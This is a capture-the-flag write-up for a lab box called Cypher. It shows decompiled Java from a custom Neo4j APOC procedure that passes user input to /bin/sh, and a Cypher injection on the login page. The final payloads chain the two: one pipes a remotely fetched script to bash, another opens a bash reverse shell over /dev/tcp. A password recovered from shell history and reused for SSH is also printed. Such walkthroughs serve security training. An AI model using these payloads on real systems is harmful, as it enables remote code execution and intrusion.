Target is hosting a Web server using APOC neo4j.
Enumeration leads to .JAR archive, revealing source code vulnerable to user input in command execution.
Login is susceptible to SQLi, which can be used to call the vulnerable procedure and gain a RCE.
Logged as neo4j, history reveals a password set for the dbms. Reusing password to login as user graphasm which holds user.txt allow for first privilege escalation.
bbob binary is susceptible to root privilege escalation due to use of plugins executing bash as root. Create or retrieve plugin and preset to get root access and flag Cypher.
Smells like the challenge core subject as the name suggests
Enumeration on burp shows jar file to examine custom-apoc-extension-1.0-SNAPSHOT.jar
JAR on enum downloadable
Unzip the jar, examine in your code editor :
CustomFunctions.class
We need to dig deeper on how APOC and interact with the client but this can be abused. Client has control over partial command execution involving a /bin/sh call
public class CustomFunctions { public CustomFunctions() { } @Procedure( name = "custom.getUrlStatusCode", mode = Mode.READ ) @Description("Returns the HTTP status code for the given URL as a string")//// VULNERABLE//////////////////////////////////////////////////////////// public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception { if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) { url = "https://" + url; } String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url}; System.out.println("Command: " + Arrays.toString(command)); Process process = Runtime.getRuntime().exec(command);//////////////////////////////////////////////////////////// BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); StringBuilder errorOutput = new StringBuilder(); String line; while((line = errorReader.readLine()) != null) { errorOutput.append(line).append("\n"); } String statusCode = inputReader.readLine(); System.out.println("Status code: " + statusCode); boolean exited = process.waitFor(10L, TimeUnit.SECONDS); if (!exited) { process.destroyForcibly(); statusCode = "0"; System.err.println("Process timed out after 10 seconds"); } else { int exitCode = process.exitValue(); if (exitCode != 0) { statusCode = "0"; System.err.println("Process exited with code " + exitCode); } } if (errorOutput.length() > 0) { System.err.println("Error output:\n" + errorOutput.toString()); } return Stream.of(new StringOutput(statusCode)); }}
First vulnerabilities
Certain : Exposure of sensitive content (Sensitive Data Exposure) and knowledge of sensitive server behavior.
Proof of Concept necessary : Vulnerable code potentially leading to Remote Code Execution. Here the getUrlStatusCode method takes user input without filtering, input it a command execution.
Neo4J version is 5.23.0 according to the pom file→ No public vulnerabilities.
“Free Demo” leads to /api/demo/ → 404
source-code first page : TheFunky1 (Login credential first part ?)
Intruder with password wordlist fixed user showed no results on login.
SQLi on login
SQLMap on login page returns 400 error
SNIP
Replay injection on burp and trigger an error message :
HTTP/1.1 400 Bad RequestServer: nginx/1.24.0 (Ubuntu)Date: Mon, 16 Jun 2025 09:14:01 GMTContent-Length: 3502Connection: keep-aliveTraceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata)neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 69 (offset: 68))"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash" ^}During handling of the above exception, another exception occurred:Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata)neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 69 (offset: 68))"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash" ^}
Here is the final payload with a simple rev_shell from a python http server :
Remote Command Execution on SQLi
' return h.value as hash UNION CALL custom.getUrlStatusCode(\"trone ; curl http://10.10.14.15:7777\/rev_shell.sh |bash\") YIELD statusCode return statusCode as hash // yeye
Edit : retried upon writing up properly and both are working, idk what happened previously. Although this request leave the server in a hanging state waiting to send the response.
' return h.value as hash UNION CALL custom.getUrlStatusCode(\"hey ; bash -c \'bash -i >& /dev/tcp/{HOST IP}/{HOST PORT} 0>&1' \") YIELD statusCode return statusCode as hash //"
Connected as neo4j
History gives us credentials :
we have ssh over neo4j\@cypher.htb if password cU4btyib.20xtCMCXkBmerhK is the same … which is not.
BUT you should try password on every account available, otherwise you might miss that you can ssh to graphasm with this password (I had to get back on it later to think about it, lesson learned 🤡)